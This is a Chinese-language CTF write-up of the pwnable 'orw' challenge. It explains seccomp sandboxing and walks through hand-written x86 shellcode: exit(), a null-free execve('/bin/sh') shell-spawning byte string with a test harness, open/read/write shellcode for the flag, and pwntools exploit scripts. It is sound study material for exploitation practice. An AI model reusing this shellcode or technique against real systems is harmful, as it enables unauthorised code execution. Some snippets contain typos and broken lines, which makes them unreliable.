pwnable_orw(重点为手写shellcode与沙盒orw机制)

1.安全检测:

  1. 32位操作系统
  2. Partial RELRO:got.plt可读可写
  3. 无NX,堆栈可执行
  4. 无地址随机化
  5. 有读写权限

2.IDA调试


很明显提示写入shellcode,这道题连远程时,可以调falg文件,只需将其读出来。但存在orw_seccomp函数,禁用部分函数的程序调用,那么这道题的思路就是利用**_(1)可通行的函数(2)手写shellcode(3)读出flag_**
_

3.什么是orw_seccomp函数(沙盒机制)

  1. 简介:seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用**4种**系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
  2. prctl 函数:

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是**system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则**。

  1. seccomo-tools的介绍:
  • seccomp-tools 是可以帮助我们查看哪些 syscall 被禁止的一个工具
  • linux系统下载命令:
    • sudo apt install gcc ruby-dev
    • sudo gem install seccomp-tools
  • 效果:
  • open,read,write三个函数可通行。
  1. 思路:
  • 通过open函数打开当前目录下的 flag 文件
  • 利用read函数读取文件中的数据
  • 利用write函数将文件中的数据打印到屏幕上

4.如何手撸一个满足题意的shellcode:

这里详细讲一下如何手写shellcode,以来打下坚实的基础+v+!嘿嘿~

1.什么是系统调用:

  • shellcode是一组可注入的指令,可以在被攻击的程序中运行,由于shellcode要直接操作寄存器和函数,所以必须是十六进制数的形式
  • 为什么写shellcode?因为我们要让目标程序以不同于设计者的预期进行运行,而操作程序的方法之一是使程序产生系统调用(system call),通过系统调用,可以直接访问系统内核
  • 在liunx操作系统下有两个方式来执行系统调用,间接方式是利用c函数进行包装,直接方式是用会汇编指令,(把适当的参数加载到寄存器之中,利用int 0x80···进行软中断叼调用)

下面示例exit()的系统调用:

int main(void)
{
    exit(0);
}               
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/

gcc -static -o exit exit.c

  • _exit+0行是把系统调用的参数加载到ebx中
  • _exit+4和_exit+15行是把对应的系统参数号分别复制给eax
  • 最后的int 0x80指令是把cpu转到内核模式,并执行系统调用

2.为exit()系统调用写shellcode:

  • 基本了解exit系统调用后,开始写shellcode
  • 注意的是应将shellcode尽量写的简介紧凑,目的是为了可以将其注入到更小的缓冲区
  • 在实际环境中,shellcode将在没有其他指令为它设置参数的情况下执行,所i我们要自己来进行参数传递

tips:

  1. 32位:参数放在栈上,编写shellcode时,函数传递参数寄存器顺序为:a,b,c,d,…..
  2. 64位:前六个参数放在寄存器rdi、rsi、rdx、rcx、r8、r9中,其余的放在栈上。

具体步骤:

  1. 把0存在ebx中
  2. 把1存在eax中
  3. 执行int 0x80来进行系统调用
Section .text
  global _start
_start:
  mov ebx, 0
  mov ax, 1
  int 0x80

然后用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

objdump看opcode:


看到shellcode中存在一些**NULL(\x00)字符,当把shellcode复制到缓冲区中时,可能出现异常(因为字符数组用null做终止符),要编写真正有用的shellcode,我们务必**把\x00消去

  1. 这里看第一条指令(mov eb,0)将0放入ebx中,可以利用xor指令,在操作数相等的情况下返回0,也就是说可以在指令中不使用0,但是结果返回零,那么我们就可以用xor来代替mov指令

mov ebx, 0 –> xor ebx, ebx

  1. 再看第二条指令(mov ax,1)为什么这条指令也会有null呢,我们知道,**eax是32位(4字节)操作系统的寄存器,而我们只复制一个字节到了寄存器,而剩下的部分,系统会自动用null来填充,**熟悉eax组成,分为两个16位区域,用ax可以访问第一个区域,而ax又分为al(低八位)和ah(高八位)两个区域,那么解决凡是就是只把1复制到al就行。
Section .text
    global _start
_start:
    xor ebx, ebx
    mov al, 1
    int 0x80


消除\x00,

  1. shellcode测试:
  char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用:


3.编写execve()的shellcode

—–exit()可能没什么意思,接下来,我们做些更有趣的事情-派生root shell来控制整个目标系统
在linux系统中,有两种防止可以创建新进程:**一是通过现有的进程来创建,并替换正在的活动;二**是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新的进程。
execve()系统调用就是后者

  1. execve()调用号是:11
  2. 接下来我们需要知道它作为输入的参数,用man手册就可以查看:
    1.
    1. 3个参数必须包含以下内容:
      1. filename必须执行包含要执行的二进制文件的路径的字符串,这个例子中就是字符串[/bin/sh]。
      2. argv[]是程序的参数列表,大多数程序将使用强制性/选项参数进行运行,而我们只想执行/bin/sh,没有更多的参数,所以参数列表只是一个NULL指针,但是按照管理,第一个参数是我们要执行的文件名,所以argv[]就是[‘/bin/sh’,00000000]+v=(划重点嘞)
      3. envp[]是要以key:value格式传递给程序的任何其他环境选项的列表,为了我们的目的,这将是NULL指针\x00000000
  3. 和exit()一样,我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”
  4. 开始编写shellcode
    5.

这里讲解下为什么要向堆栈中反省推送“//bin/sh”,

  1. 我们知道在x86堆栈中是从高地址到弟子之的,所以要输入反向的字符串,同样因为4的倍数的最短指令会更容易些.
  2. /bin/sh是7个字节的,如何将他变为8个字节呢?很简单,加个/就ok了+v=,因为在linux中“/”可以作为占位符而存在

用python来生成hs/nib//的十六进制位:

之后将分两半塞入栈中即可

  1. 编译成功后用objdump来进行查看:

分享一个提取shellcode的指令:

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

  1. shellcode的验证:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}


get shell+v=

回到本题,结合题目要求,进行shellcode的构造;

  1. open函数的shellcode:
  xor ecx,ecx;
  xor edx,edx;
   //初始化//
  push 0x0;        #字符串以\x00结尾 
  push 0x67616c66; #flag十六进制
  mov ebx,esp;     #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
  mov eax,0x5; 
  int 0x80;

tips:push指令会影响esp寄存器的值。push指令首先减少esp的值,再将源操作数复制到堆栈。如果操作数是16位的,则esp减2;如果操作数是32位的,则esp减41

  1. read函数的shellcode:
mov ebx,0x3;         //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;

tips:0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符是3,再打开一个则是4······

  1. write函数的shellcode
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;

EXP:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()

当然,这么麻烦的汇编代码也同时做了集成工具处理=v=,但是自己手写下才是最好滴–v=

from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)

r.interactive()q

周六周天接着上次组会把格式化字符串重新复盘下儿。